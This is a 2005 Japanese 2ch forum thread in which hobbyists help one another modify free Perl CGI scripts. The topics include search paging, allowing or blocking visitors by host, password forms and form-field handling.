$query_string = $ENV{'QUERY_STRING'};
}
@a = split(/&/, $query_string);
foreach $x (@a) {
($name, $value) = split(/=/, $x);
$value =~ tr/+/ /;
$value =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
}
の後
$page = $in{'page'};
$word = $in{'word'};
を実行してます
(続く)
579 :
572:05/01/24 10:03:39 ID:???
(続き)
if ($word =~ /[\x80-\xff]/) {
# 日本語が含まれているフラグ
$jflag = 1;# 日本語が含まれている
# 一度EUCに変換する
&jcode'convert(*word, "euc");
# 全角空白を半角空白に置換する(EUCの空白は#A1A1)
$word =~ s/([\x80-\xff][\x80-\xff]|[\x00-\x7f])/($1 eq "\xa1\xa1") ? " " : $1/eg;
# SJISモードであればSJISに変換する
if ($kcode_file eq "sjis") {
&jcode'convert(*word, "sjis");
}
}
sub search1の中から抜粋
if (defined($FORM{'WORD'})) {
# メタ文字を無効化する
if (!$jflag) {
$word =~ s/([\+\*\.\?\^\$\[\-\]\|\(\)\\])/\\$1/g;
}
# 検索語を分割する
@words = split(/ +/, $word);
# 検索する
print "<dl>\n";
@dirs = split(/ +/, $target_dir);
foreach $dir (@dirs) {
&search1($dir);
}
580 :
572:05/01/24 10:07:38 ID:???
$pageは>576にも書いたのですが$nextpageにしてますので
今は使ってません
最初の一回目は5件表示されるのに
「次へ」を押すと検索フォームだけ出て、結果が出ないのがはがゆくてなりません
これで参考になりますでしょうか?
581 :
nobodyさん:05/01/24 10:18:02 ID:f8wXJteD
>>580 Perlってデバッガ無いの?
PHPだとZend入れてればIEの右くりメニューからデバッガ起動するよ。
582 :
572:05/01/24 10:28:28 ID:???
一番重要なトコ忘れてました
sub search2の中から抜粋
$bigin = $FORM{'page'} * $hyouji;
$end = $bigin + $hyouji;
if($end > @filelist) {
$end = @filelist;
}
中略
if ($bigin <= $a) {
if ($a < $end) {
$h_k++;
print "<dt>■ <a href=\"$target\" target=\"out\">";
$title =~ s/<[^>]*(>|$)//g;
$title =~ s/[\r\n]+//g;
&jcode'convert(*title, $kcode_cgi);
if ($title eq "") {
$title = $target;
}
print "$title</a>\n";
if ($print_filename) {
print "( <a href=\"$target\" target=out>";
$target =~ s/$tdir\/?//;
print "$target</a> )\n";
}
print "<dd>";
$imin = $i - $how_many_lines;
if ($imin < 0) { $imin = 0; }
$imax = $i + $how_many_lines;
if ($imax > $#lines) { $imax = $#lines; }
583 :
nobodyさん:05/01/24 10:29:17 ID:CX5KANJQ
for ($j = $imin; $j <= $imax; $j++) {
$line = $lines[$j];
&jcode'convert(*line, "euc");
line =~ s/<[^>]*(>|$)//g;
$tmp = $word;
&jcode'convert(*tmp, "euc");
if ($jflag) {
$tmp =~ s/([\+\*\.\?\^\$\[\-\]\|\(\)\\])/\\$1/g;
}
foreach $w (@words) {
$w2 = $w;
&jcode'convert(*w2, "euc");
$line =~ s/($w2)/<b>$1<\/b>/ig;
}
&jcode'convert(*line, $kcode_cgi, "euc");
print "$line ";
if ($end >= @filelist) {
exit;
}
}
if ($h_k == $hyouji) {
$nextpage = $FORM{'page'} + 1;
print "<form method=\"POST\" action=\"$script\">\n";
print "<input type=\"hidden\" name=\"page\" value=\"$nextpage\">\n";
print "<input type=\"hidden\" name=\"word\" value=\"$word\">\n";
print "<input type=\"submit\" value=\"次へ\">";
print "</form>";
}
}
}
部分だけじゃなくてどっかに全部うpしろや。
>>567 ✓ # アクセスチェック
if ($mode eq ''){ &admin; }
if ($FORM{'pass'} ne "$pass") {&error("パスワードが違います");}
if ($mode eq 'regist'){ ®ist; }
&bbs;
exit;
sub check { # アクセス制限
$host = gethostbyaddr(pack("C4", split(/\./, $ENV{'REMOTE_ADDR'})), 2) || $ENV{'REMOTE_ADDR'};
foreach $i (@allow) {
if ($host =~ /$i/) { return; }
}
&error("アクセスが許可されていません");
exit;
}
sub admin { #認証
&header;
print << "_ID";
<form action="$script" method="POST">
<input type=hidden mode=bbs size="8">
<input type=text name=pass size="8">
<input type=submit value="認証">
</form>
_ID
&footer;
exit;
}
全体がわからんけどこんなところか。
ただしこれだけじゃなくて全体にも手を入れないと動かんよ。
586 :
572:05/01/24 18:07:17 ID:???
587 :
567:05/01/24 22:09:17 ID:???
>>568解決しました。jcode.plのパスが違ってました。
わかってみれば、にんともかんとも(滅)
お騒がせしました。
>>566についてはまだです。
パス認証だけどうしてもうまくいきません(TT)
ttp://www.net-easy.com/psw/ezpsw.html のパスワード認証&自動発行スクリプト
ttp://cat.zero.ad.jp/mouse/download/psw/ezpsw_cgi.txt まず、115行のメールアドレス入力欄
<INPUT name="mail_add" size="30"><BR>
を
<INPUT name="mail_add_a" size="30"><BR>
<select name="mail_add_b">
<option value="\@docomo.ne.jp">\@docomo.ne.jp</option>
<option value="\@ezweb.ne.jp">\@ezweb.ne.jp</option>
<option value="\@c3.ezweb.ne.jp">\@c3.ezweb.ne.jp</option>
</select>
のように2段階入力にして、
("mail_add_a"はメアドの@までのアカウント、
"mail_add_b"は@以降のドメイン名として代入)
147行 $mail_add = $in{'mail_add'}; の部分で
上記フォームから受け渡される"mail_add_a"と"mail_add_b"を連結して
変数 $mail_add に代入されるようにしたいのですが、
$in{'mail_add'}; の部分をどのように書き換えれば2つの文字列を連結させられるでしょうか?
589 :
588:05/01/25 04:31:03 ID:???
付け足し
147行はメアドの書式をチェックする部分です。
>>588 $mail_add = $in{'mail_add_a'} . $in{'mail_add_b'};
592 :
572:05/01/27 21:43:23 ID:???
忘れてました
# このスクリプトの名前
$script = "kensaku2.cgi";
(78〜79行目辺り)の部分をスクリプトの名前に変えてください
よろしくお願いします
593 :
572=586:05/01/28 22:52:33 ID:wG0bpuZu
594 :
nobodyさん:05/01/29 16:02:16 ID:BgaXde9b
【. CGI名 .】 Design BBS 1.80 【配布先URL】
http://prism-web.com 【ヘルプ内容】
このCGIについている、特定のIPからのアクセスを拒否するアクセス制限を、逆に特定のIPからのアクセスだけOKにするアクセス制限に変更したい。どうすればよいか。
DLしたままのファイルで、sub axs_checkのflagを逆にしてみたらスクリプトエラーになってしまい、他にどうすればよいかわからなくなった。
ーーここからスクリプト
@deny = (
"hogehoge.com",
);
&decode; #フォームデコード
&axs_check; #アクセス制限
#(中略):フォームの設定が数行
&html; #BBS本体表示
# アクセス制限
sub axs_check {
&get_host;
if ($deny[0]) {
local($flag)=0;#ここを1にして・・・その下の$flag=1を0にするとスクリプトエラー。
foreach (@deny) {
#↓これは、@denyにないIPならループ抜けの意味ですよね?違う?(・・、
if ($_ eq '') { last; }
$_ =~ s/\*/\.\*/g;
if ($host =~ /$_/) { $flag=1; last; }
}
if ($flag) { &error("許可されていないアクセスです!") }
}
}
595 :
594:05/01/29 16:03:22 ID:???
# ホスト名取得
sub get_host {
$host = $ENV{'REMOTE_HOST'};
$addr = $ENV{'REMOTE_ADDR'};
# ホスト名取得に gethostbyaddr関数を使用する場合は$gethostbyaddr = 1;にします。
$gethostbyaddr = 1;
if ($gethostbyaddr) {
if ($host eq "" || $host eq "$addr") {
$host = gethostbyaddr(pack("C4", split(/\./, $addr)), 2);
}
}
if ($host eq "") { $host = $addr; }
}
>594-595
俺もperlをちょこっといじって遊んでるくらいの人間なんで、あんま自信ないけど・・・
if ($deny[0]) {
local($flag)=0;
foreach (@deny) {
#↓これは、@denyから取り出した内容($_)が空('')だったらループ抜け、だと思
if ($_ eq '') { last; }
$_ =~ s/\*/\.\*/g;
if ($host =~ /$_/) { $flag=1; last; }
#↑アクセスした人のホスト($host)に@denyから取り出した内容($_)が
#↑含まれていたら$flagの値を1にしてループを抜ける
#↑つまり「$flag==1なら拒否」
# これを「$flag==1なら許可」に変えたい → 言い換えると「$flag=!1なら拒否」
}
if ($flag=!1) { &error("許可されていないアクセスです!") }
#↑ということでここをこう変更すればいけるんでは?
}
ただ「特定のIPからの制限」なら、$hostじゃなくて$addrにするべきなんじゃ?って気がするけど
597 :
594:05/01/29 21:54:11 ID:???
>>596 if ($flag=!1) { &error("許可されていないアクセスです!") }
これだと500エラーになってしまいましたです。
で
if ($flag ne "1") にしてみましたが、こっちも500エラー。
if ($flag = "0")も500エラーでした。
>>594だったらちゃんと動作するんですけど・・・(><)
598 :
594:05/01/29 22:21:41 ID:???
フラグを使わない方法を考えてみましたが・・・
sub axs_check {
# ホスト名を取得
&get_host;
if ($deny[0]) {
foreach (@deny) {
if ($_ eq '') { &error("許可されていないアクセスです"); last;}
$_ =~ s/\*/\.\*/g;
if ($host eq~ /$_/) { last;}
#こうしたら、@denyのIPでのアクセスがエラーになる。
#$host ne にするとスクリプトエラーに。
}
}
}
お手上げです(TT)
599 :
594:05/01/30 01:16:06 ID:???
たぶんできました。
sub axs_check {
# ホスト名を取得
&get_host;
if ($deny[0]) {
local($flag)=0;
foreach (@deny) {
$_ =~ s/\*/\.\*/g;
if ($host =~ /$_/) { $flag=1; last; }
}
if (!$flag) { &error("許可されていないアクセスです!") ; exit;}
}
}
これで何とか動作しました。
>>596さん、いろいろヒントありがとうでした。
>>595の
>if ($_ eq '') { last; }
これ、@denyが空の設定がありうる、ということを失念しておりました(^-^;
#だってデフォルトからして空ではなかったので、なんて言い訳してみるテスト(ぉぉ
つか、500エラーに対処できないのかね?
多分こいつは共有サーバでテストしながら改造している希ガス
601 :
594:05/01/30 11:57:38 ID:???
なんかエラった(汗)
>>600 文法チェックの結果エラーがなく、
InternalServerErrorになる理由がわからないというだけの話です。
IPの判断に関してはローカルではテストできないので
確かに共有鯖にしましたけど、
ローカルでテストする方法あります?
>>601 &get_host; をコメントアウトして代わりに
$host = 'ダミーのアドレス';を書けばいいだろ
>>606 >丸投げスレッドから来ました。
>期限が近いのでどうぞよろしくお願いします
(゚Д゚)ハァ? スレ違いは帰れ
>605
改造だと思っていたのですが、違っていたのですね
お礼が遅れてすいませんでした
ありがとうございます
609 :
606:05/02/04 10:07:39 ID:x2xOcYLj
すみません、書き方がおかしかったです。
丸投ではなく、出来るだけ自分でどうにかしたいので
改造の方に来ました。という意味です。
>607様わかってもらえたでしょうか?
>>609 要するにマルチって事だろ?
期限って何よ?
>>610 期限は前スレッドで記入するところがあったので
そのまま流用してみました。
期限を決め、大体そのくらいで出来ればいいな。
という希望的観測も含まれています。
前スレッドに移動しますと言う旨を書いてるので
マルチではないかと思いますがどうでしょうか?
分かりにくくてすみません。
omae no taido ga kiniiran
態度が悪く申し訳ありません。
悪かった点がありましたら、謝りますので
どうにかしていただけないでしょうか?
やっぱ人に依存しっぱなしのヤツってどっか抜けてるんだな。
漏れもperlの文法とかはさっぱりだけど、
最低限自分のしたいようにするためにhtmlの出力部分をいじったり
どの変数がどういう処理に回されてるかを必死ににらめっこして自分なりに判断して、
その上で具体的にどの部分をどうしたいかを明記するもんだと思うんだけどね。
質問があまりにも抽象的だったり漠然としすぎているから
正直誰も答えようがないし、答える気もしないんじゃないかな。
2chでは社交辞令的な事には誰も関心なくて、
用件をはっきり伝えて手短に済ませるってなスタイルが定着してると思うしね。
「俺パソコンとかよくわかんねーからさぁ」って、開き直ってる人が多いッす。
大抵は少し経てばそういう気分は抜けて「そろそろ俺も中級者って感じィ♪」と思うんだけど、新しい分野に取り組むと
またお手上げ状態…みたいな。
身近にそういう人が何人かいるのでよくわかるッす。
まあ、なんでもかんでもそうですけど、わからなくてもとりあえずチャレンジすることって大切ッす。
いや勿論、責任の取れる範囲でのハナシッす。
>>14みたいな文は誘導のテンプレにしたいッす。
社交辞令っつーかさ「ひとまず謝ってみた」って姿勢がな。
あと「ドーユーアンダスタン?」な返答って「アンタ馬鹿?」って言ってんのに等しいぞ。
教えを請う態度じゃないよね。やる気の問題。
丸投げスレじゃなくてさ、改造スレなんだから。
まずおまぃさんのスキルが不明、prog理解度が不明。
何をやってみてどうダメだったのかのかが不明。
ソース丸ごと表示して「○○行目に以下を追加して〜」
「□□を△△に書き直して〜」とか言って欲しいのか?
それは丸投げっていうんだぞ。
お前宿題って先生に答え聞いてノートに丸写しする事だと思ってなぃ?
どっちにしろここでも丸投げでももう相手にされないから諦めるだろ
どこがどう解らないかを提示できないってのは、
理解しようという意識が薄い顕れだからね。
1つ問題が解決できても、また同じような事で質問してくる確変パターンに繋がるのが
オチだし
omae no taido ga kiniiran
既存のcgiに下のような環境変数のアクセスをはじく機能をつけたいのですが
どんな風に追加したらいいのでしょう?
'HTTP_VIA',
'HTTP_X_FORWARDED_FOR',
'VIA',
'HTTP_FORWARDED',
'FORWARDED',
'HTTP_X_BLUECOAT_VIA',
'HTTP_PROXY____',
'HTTP_PROXY___________',
'HTTP_PROXY_CONNECTION',
'HTTP_X_HOST',
'HTTP_X_REFERER',
'HTTP_X_SERVER_HOSTNAME',
'PROXY_HOST',
'PROXY_PORT',
'PROXY_REQUEST',
'HTTP_CLIENT_IP',
'HTTP_PRAGMA'
「既存のcgi」って言われても、千差万別。何につけたいんだ?
624 :
622:05/02/11 11:59:46 ID:???
625 :
nobodyさん:05/02/11 14:26:33 ID:5gSqwCgm
はじめまして。自分の手ではどうしても改造しきれなかったのでここで質問させていただきます。
配布元:
http://dream.lib.net/room/ スクリプト名:Power Search
登録式のサーチエンジンです。
マークサイトというものを複数登録する事ができるのですが、仕様では8個までしか登録できません。
これを22個登録できるように改造したいのですがうまくいきません。
ps_user.cgiの313〜324行目あたりの
☆マーク<br>
EOD
for (0 .. 7){
next if $marks[$_][1] eq "";
if ($data =~ /^\d*$_\d*</){
$buffer2.="<input type=\"checkbox\" name=\"sitemark\" value=$_ checked>$marks[$_][0]<br>\n";
}else{
$buffer2.="<input type=\"checkbox\" name=\"sitemark\" value=$_>$marks[$_][0]<br>\n";
}
}
$buffer2.="<br>";
$buffer3 = <<EOD;
を改造し、22個のマークが表示されるようにはなったのですが
チェックしていないチェックボックスにチェックが入ってしまうという不具合が起こりました。
よろしければ問題点を教えてください。
cgiにこういうのを入れて、リストにあるIPを弾いています。
これを逆にリストにあるIPだけ許可できるように改造できないでしょうか?
お願いします。
&hostcheck;
sub hostcheck{
local($host_file,$remote_host,$line);
local(@lines);
$host_file = './host.dat';
$host=$ENV{'REMOTE_HOST'};
open(DB,"$host_file") || die "Cannot Open Log File $host_file: $!";
@lines = <DB>;
close(DB);
foreach $line (@lines) {
next if(length($line)<4);
chop $line;
if( $host=~/$line/ ){print "Status: 204\n\n";exit;}
}
}#hostcheck END
>629
if( $host=~/$line/ ){print "Status: 204\n\n";exit;}
この{ }の中を許可したIP用の対応に書き換える↑
>>629 $ENV{'REMOTE_HOST'};でホスト名を返さないサーバが多数。
ドツボにはまる予感がするぞ。
632 :
625:05/02/12 18:19:25 ID:???
丸投げスレへ行きます。ありがとうございました
633 :
629:05/02/14 19:08:26 ID:???
&hostcheck;
sub hostcheck{
local($host_file,$remote_host,$line);
local(@lines);
$host_file = './host.dat';
$jump = "./abc.html";
$host=$ENV{'REMOTE_HOST'};
open(DB,"$host_file") || die "Cannot Open Log File $host_file: $!";
@lines = <DB>;
close(DB);
foreach $line (@lines) {
next if(length($line)<4);
chop $line;
if( $host=~/$line/ ){print "Location: $jump\n\n";exit;}}
}#hostcheck END
こういう感じで特定のファイルにアクセスさせればいいのでしょうか・・
はじめまして、少し質問させてください。
http://www.hot-dining.com/free_cgi/256palette.php で配布されています 「256palette」というカラーパレットのCGI(PHP)を、
http://useyan.pupu.jp/s/cgis/twin.htmlに組み込みたいのですが、
上手く動かず分からなくなったので伺ってみました。
上記「Twin」チャットの動作サンプルがコチラで、
http://useyan.pupu.jp/s/twins/ コチラの「じぶんいろ」という文字にリンクを貼り、となりのテキストボックスで動作するように
256paletteを組み込みたいのですが、twin.cgiのheadタグ内に設置手順@を貼り付け、
446行目を
<form action="$script" method="get" target="_self">
↓
<form name="mae" action="$script" method="get" target="_self">
469・470行目を
<input type="text" name="irom" size=10 value="$cirom" class="text">
<font $fontm><b>じぶんいろ</b></font></font>
↓
<input type="text" name="iroa" size=10 value="$cirom" class="text">
<font $fontm><b>【<a href="javascript:wopen('256palette/palette.php?form=mae&name=iroa')">じぶんいろ</a.>】</b></font></font>
としましたが、スクリプトのエラーとウィンドウの下に出て動きません。
このCGI自体は説明どおりの階層に設置して動作を確認しております。
iromをiroaと変えたのは入室後も同じ名前のテキストボックスもあったからで、
この追加機能を入室後もつかえるようにしたいのですが。
宜しければお教えください、お願いします。M(_)m
256paletteは捨てて他のを探したほうがいいと思う
http://pc5.2ch.net/test/read.cgi/php/1104624784/l50 から来ました。
【 CGI名 】カラーBBS Ver.2.02
【配布先URL】
ttp://www.cgi-down.com/cgi/c-bbs.php 【設置サーバ】lolopop
【 質問内容 】“投稿者:[ あああ ] 投稿日:[ 2005年02月12日(土) 13時18分26秒 ]”
の部分を、例えば“wrote by: あああ 02/17/2005(thu) 13:18:26 ”
と英語に変えたいのですが、何度やっても500エラーになってしまします。
投稿者→wrote by だけでもエラーです。
どなたか解決法をご存知でしたらご指導いただけないでしょうか?
# 曜日を日本語化
@week = ('日','月','火','水','木','金','土');
$wday = $week[$wday];
local($date) = "$year年$mon月$mday日($wday) $hour時$min分$sec秒";
return ($date);
の部分を変えてもダメなのでしょうか?それともjcode.plの方をいじるんですか?
続き
# 記事の表示
print "<hr size=0 color=$hr_color><BR><CENTER>\n";
for ($i = $end_page;$i<$end_list;$i++) {
local($main,$re) = split(/★/,$DATE[$i]);
chop($re);
local($number,$date,$name,$title,$mail,$hpurl,$com,$tc,$kc) = split(/☆/,$main);
$name =~ s/\0/☆/g;
$title =~ s/\0/☆/g;
$com =~ s/\0/☆/g;
print "<FORM ACTION=\"$cgifile\" METHOD=\"post\">\n";
print "<TABLE WIDTH=$kizi_wid BORDER=0 bgcolor=$main_tccolor cellpadding=0 cellspacing=0><TR><TD>\n";
print "<TABLE WIDTH=100% BORDER=0>\n";
print "<TR><TD BGCOLOR=$title_bgcolor WIDTH=95%>\n";
print "<FONT COLOR=$tc[$tc] SIZE=4><B>$title</B></FONT> [$number]</TD>\n";
print "<TD BGCOLOR=$title_bgcolor WIDTH=5%><INPUT TYPE=\"submit\" VALUE=\"RES\"></TD></TR>\n";
print "<TR><TD WIDTH=100%>投稿者:[ <B>$name</B> ]\n";
if ($mail ne '') { print "<A HREF=\"mailto:$mail\"><IMG SRC=\"$mail_gif\" WIDTH=40 HEIGHT=15 ALT=\"$name\" BORDER=0></A>\n"; }
if ($hpurl ne '') { print "<A HREF=\"$hpurl\"><IMG SRC=\"$home_gif\" WIDTH=40 HEIGHT=15 ALT=\"ホームページ\" BORDER=0></A>\n"; }
print " 投稿日:[ $date ]</TD></TR>\n";
print "<INPUT TYPE=\"hidden\" NAME=\"ac\" VALUE=\"return\">\n";
print "<INPUT TYPE=\"hidden\" NAME=\"res\" VALUE=\"$number\">\n";
print "<INPUT TYPE=\"hidden\" NAME=\"title\" VALUE=\"$title\">\n";
print "<TR><TD><BLOCKQUOTE>\n";
print "<P><FONT COLOR=$kc[$kc]>$com</FONT></P>\n";
print "</BLOCKQUOTE></TD></TR>\n\n";
ここを英語に変えたらエラーになります。よろしくお願い致します。
そこ変えただけでエラーになるのは有り得ない気がする。
perl -c のチェックは通る?
それか、修正してセーブしたときに日本語文字コードがEUCからSJISに変わってるとかありそう。
640 :
nobodyさん:05/02/19 02:37:51 ID:JY0g4Gmr
すいません、教えて下さい。
メールフォームで特定アドレスの受信拒否を行えるスクリプトを見つけたのですが、スクリプトを編集して禁止アドレスを登録しなければいけない為、随時更新する手間が大きく、
できれば別ファイルでそれの管理ができないものか、と悩んでおります。
元スクリプトは、KentWebさんのPostMail v2.41の改造バージョン、PostMail RDです。
ttp://planet.cside5.com/csw/free/mailrd.html @errmail = ('
[email protected]','
[email protected]');
(入力エラーとするメールアドレスです。シングルクォーテーションで囲みながらいくつでも指定することができます)
この部分なのですが、別ファイル(csvやtxt等)で管理する方法ありませんでしょうか?
タブや<>区切りでは、編集しにくいのでできればcsvがいいのですが・・・
>>639 さん
大変ありがとうございました。
『そこ変えただけでエラーになるのは有り得ない気がする。』
と言うのを参考に、普通にメモ帳で編集してUPしたら、できました。
お礼が遅くなってしまってごめんなさい。
642 :
nobodyさん:05/02/21 14:41:10 ID:xjZaU2mS
>>642 別に記事はみ出なかったけど?
使ってるブラウザが悪いんじゃないの?
CGIの改造じゃなくてHTML(CSS?)の問題ってことで
板違いだな
645 :
642:05/02/21 17:09:59 ID:???
何度か再アップロードしたらちゃんと表示されました
なんだったんだ・・・
スレ汚しすみませんでした
646 :
nobodyさん:05/02/24 10:56:33 ID:QVcBOm5y
647 :
646:05/02/25 14:21:12 ID:tjf4sPQL
648 :
nobodyさん:05/02/25 15:41:05 ID:QBQJZtMZ
KENTのe-PAD掲示板に荒らし対策としてなりすまし禁止ののトリップ機能か
携帯情報取得のBBQ機能追加って無理ですか?
それか管理人のみのアイコン表示とか・・・
649 :
nobodyさん:05/03/01 21:42:51 ID:mUN1SLsJ
【. CGI名 .】 Joyful Note + YY-BOARD + alpha ver.1.0 Beta
【配布先URL】
ttp://webmin.bbzone.net/subcon/cgi.htm 【依頼内容】
このCGIを動かす鯖がwin2000の自宅鯖なのでsymlink関数が使えません
管理モードで設定を変更しようとするとadmin.cgiの979行目でエラーが起きます
979行目
while (!symlink(".", $lockfile)) {
同様に画像を投稿しようとするとjoiful.cgiの1485行目がエラーを起こします
1485行目
while (!symlink(".", $lockfile)) {
できればmkdir関数でファイルロックをしたいのですが
自分なりにやってみましたがうまくできません
日本語が少し変だと思いますが許してください
よろしくお願いします
>>652 ロックはinit.cgiで変えられるよ。あとロック用のフォルダを作っておかないといけないかも。
【. CGI名 .】 Simple Olive Diary2 var2.0
【配布先URL】
ttp://www.olive-design.com/~cgi/simple_diary2.html 【 依頼期限 】 3/14
【依頼内容】
現状では新しく書き込んだデータが一番上に来ます。
これを逆(先に書き込んだものが上に来る)としたいです。
イメージとしては、イベント開催情報のようなものでしょうか?
イベントが決まったら書き込みしますが、それはあとの方なので
先に書き込んだ今からあるものをトップに表示したいって感じですね。
ログを書き込むときに一番下に書き込むって事は出来るのでしょうか?
その場合、どうしたら良いですか?
もしくは別の方法をとったほうが良いのでしょうか?
お願いします。
>>656 unshift (@log,"$newdata");
を
push (@log,"$newdata");
にすれば逆になる。
ただ2重投稿のチェックも変更が必要
658 :
656:05/03/11 19:02:16 ID:???
>>657 すばやい返答ありがとうございます。
>2重投稿のチェックも変更が必要
と言うのは、以下の部分ですよね。
$top = $log[0];
($top_no,$jpg,$Wid,$Hei,$t_subject,$t_iday,$t_itime,$t_iplace,$top_comment,$top_time)= split(/<>/,$top);
if ($top_comment eq $comment ){ &error('エラー','二重投稿禁止')}
------------
$top = $log[0];ってのがログの一番上(0行目)を見るって事でOKですか?で、コメントが一緒じゃないかを
チェックするんですよね。
では、最終行をチェックってどうしたら?数値じゃ無理ですよね。
どうしたら良いんですか?お願いします。
659 :
nobodyさん:05/03/12 07:11:46 ID:u7n1go0F
660 :
659:05/03/13 08:36:11 ID:???
ウワァーン。どなたか助けてください。
改造で金取るために無料で配布してるもんを勝手に改造したらまずいだろーよ
662 :
659:05/03/13 12:41:43 ID:???
>>661 その辺の事が一切かかれていなかったので依頼しちゃいましたorz
それと
>>659については自力でできちゃますた。
ご迷惑おかけしました。
【.CGI名.】TOWN ver.1.40
【配布先URL】
ttp://brassiere.jp/02cgi/09.html 【依頼期限】3月末日
【ヘルプ内容】CGIゲームの買い物で、クレジットを使用する時に
普通口座にお金がなければ買えないようにしたい。
command.plの1008行くらい
####購入処理
sub buy_syouhin {
#ver.1.30ここから
if ($kaenai_seigen == 1){#ver.1.40
if ($k_id eq "$in{'ori_ie_id'}" || $house_type eq "$in{'ori_ie_id'}" && $in{'ori_ie_id'} ne ""){&error("自分や配偶者のお店では商品を買うことができません。");}
}
($katta_syouhin,$katta_taikyuu,$katta_nedan) = split(/,&,/,$in{'syo_hinmoku'});
if ($in{'siharaihouhou'} eq "現金"){
if ($katta_nedan > $money){&error("お金が足りません");}
}
ここ迄の中に
if ($in{'siharaihouhou'} eq "クレジット"){
if ($katta_nedan > $bank){&error("普通口座にお金が足りません");}
これを組み込めばいいのだとわかっているのですが、
初心者なので上手くいきません。どうか宜しくお願いします。
>664
マルチ
666 :
644:05/03/17 07:58:46 ID:???
いえ、向こうには窓を間違えて書き込んでしまったのです(汗)
667 :
nobodyさん:05/03/17 22:37:47 ID:lZ4EUQO4
あげんな!!
THE ROOM(
http://dream.lib.net/room/)さんの、Rankling Linkを
を使って、携帯用のランキングサイトを公開しているのですが、
投票(voteform)ページを、携帯端末からのアクセスの時のみ表示して、
その他PC等からのアクセス時には非表示
(そのままランキングページを表示)
になるようにしたいのですが、何か良い方法は無いでしょうか。。。
HOST名取得で表示選別、等が出来ればベストなんですけど。。。
自分なりに色々試してみたのですが、ranklink.cgiの100行目あたり
if ($a1){
&fileunlock;
&changehtml("voteform","id","ssd");
}
}
このあたりの、"voteform"の部分を"index"等に変えると、投票ページ
として読み出すページが変えれるところまでは分かったのですが。。。
お詳しい方、アドバイス下さい。よろしくお願いします。
>>669 カウンタのログファイルを書き換えればいいといってみるテスツ
>669
135行目から146行目までがカウントアップ処理だと思われるので、ここで2ずつ増やすように書き換えればいいと思う。
俺もデータファイルを直接編集するのを薦めるけどな。
>668
そこか、あるいはサブルーチンchangehtml(rl_prf.cgi L.358-)だろうね。
携帯端末を判別するルーチンをそこに組み込めばいい。
適当にやるならそのCGI内にもあるようにHTTP_USER_AGENTで振り分け。
厳密にやりたいなら携帯電話各社の使用するホスト名やIPアドレス範囲を調べる。
ところで、標準でPCからの投票を拒否する機能がついているようだけど、それでは駄目なの?
>673
もし、パスワード入力部のhtmlが
<input type=password name="text2">
なら、
252行目
if ($key eq "need" || $key eq "cc" || $key eq "match" || $key eq "subject" || ($in{'match'} && $key eq $match2)) {
を
if ($key eq "need" || $key eq "cc" || $key eq "match" || $key eq "subject" || $key eq "text2" || ($in{'match'} && $key eq $match2)) {
とでもすればいいのかな。
HTMLソースを見ると分かっちゃうけど、画面に表示はされない…という状態になる、はず。
675 :
nobodyさん:2005/04/17(日) 23:16:56 ID:YWLnSC6R
>>674 どうも、ありがとうございます。
上のようにしたところ、プレビュー画面でも消えませんでした。
プレビュー画面を外させてもらいました。
しかしながら、エラー画面(入力もれ)が出るときに、
パスワードを入力して他の項目をエラーにすると、
エラー画面でパスワードがそのまま表示されてしまうみたいです。
もし、表示されない方法がありましたら、よろしくお願いします。
676 :
nobodyさん:2005/04/17(日) 23:25:37 ID:YWLnSC6R
できました!
あなたは天才だ。同じような項目を3ヶ所全部変えてみたらできました。
エラー画面も修正されました。
どうもありがとうございます。
677 :
nobodyさん:2005/04/18(月) 19:49:09 ID:QI6M91tZ
679 :
nobodyさん:2005/04/21(木) 16:42:21 ID:Xy2T8jBX
>>683 ここは自分で改造するためのヒントをもらうスレだよ。
丸投げは丸投げスレへどうぞ。
>>684 簡潔すぎて
>>683もどうしていいのかわからなくなっちゃうYO
【. CGI名 .】Banner Search 1.12
【配布先URL】
ttp://www.webpower.jp/websofts/search_engines/banner_search/ 【ヘルプ内容】
同一URLの、複数カテゴリへの登録を可能にしたい。
デフォでは、同一URLの複数個登録は出来ない仕様にしてある、と明記してあります。
登録時のカテゴリ選択をプルダウンからチェックボックスに変更してみましたが
navi.cgi478行目あたりから
登録サイトのチェック項目があります
foreach (@Record) {
if (!$i) { $i++; next; }
%Field = stdio'ReadData(split "\t");
if ($Field{'Code'} == $Form{'Code'} && $Form{'mode'} ne 'regist') {
$find = 1;
last;
} elsif ($Field{'Url'} eq $Form{'Url'} && $Form{'mode'} eq 'regist') {
$find = 1;
last;
}
$i ++;
%Field = ();
}
if ($find && $Form{'mode'} eq 'regist') {
Errors('フォーム入力ミス','入力されたURLは既に登録されています。');
} elsif (!$find && $Form{'mode'} ne 'regist') {
Errors('フォーム入力ミス','入力されたURLは登録されていません。');
ここが肝だと思うんですが、どう書き換えたら上手くいくのか
自信がありません。御伝授お願いします。
>>686 元のスクリプトを全く見ずに答えるので間違っていたらすまん。
if ($find && $Form{'mode'} eq 'regist') {
Errors('フォーム入力ミス','入力されたURLは既に登録されています。');
} elsif (!$find && $Form{'mode'} ne 'regist') {
Errors('フォーム入力ミス','入力されたURLは登録されていません。');
}
この部分、上のif文で重複チェックしてみるみたいだから、ここを
if (!$find && $Form{'mode'} ne 'regist') {
Errors('フォーム入力ミス','入力されたURLは登録されていません。');
}
に書き換えれば同一URLがいくらでも登録できるようになるはず。
ただし同一カテゴリにも同じURLを何度でも登録できるようになってしまうと思われるので、
しっかり処理するならば同一カテゴリ内で重複がないかチェックしなきゃだめ。
ソースをしっかり見る時間がないのでこれ以上は自分で頑張って下さいな。
>687さん
if以下の削除で試していたところです。
重複可、不可とするのよりも、
カテゴリ内の重複不可、とする方が
逆に難しいかもしれませんね。もう少しいじってみます。
ありがとうございました。
690 :
まるなげどんの人:2005/05/19(木) 11:44:31 ID:wVMVs5Vc
691 :
689:2005/05/20(金) 01:12:48 ID:???
>>690 両方にお返事くださってどうもありがとうございます!
さっそく今調整中です。
ただ、記事の横幅がとても大きいので
アイコン込みで600か500pxほどにしたいのですが・・
print $OUT "<!-- 記事外テーブル --><TABLE cellSpacing=0 cellPadding=0 width=\"100%\" border=0><TR>\n";#改造2
・・↑の100%を500に変えても、
border=1にして確認してもイマイチ500ぽくないんです。
もしやいじるのはここではないのでしょうか?
692 :
まるなげどんの人:2005/05/20(金) 16:26:21 ID:VbM05pau
>>691 joyful.cgiを「700」で検索したらテーブル幅の設定のところになると思いますので
をこを変更してみてください。
693 :
nobodyさん:2005/05/20(金) 17:47:42 ID:rt8UrqYq
694 :
689:2005/05/21(土) 10:48:45 ID:???
>>692 向こうで質問続けさせてもらいました。
よろしくお願いします。
695 :
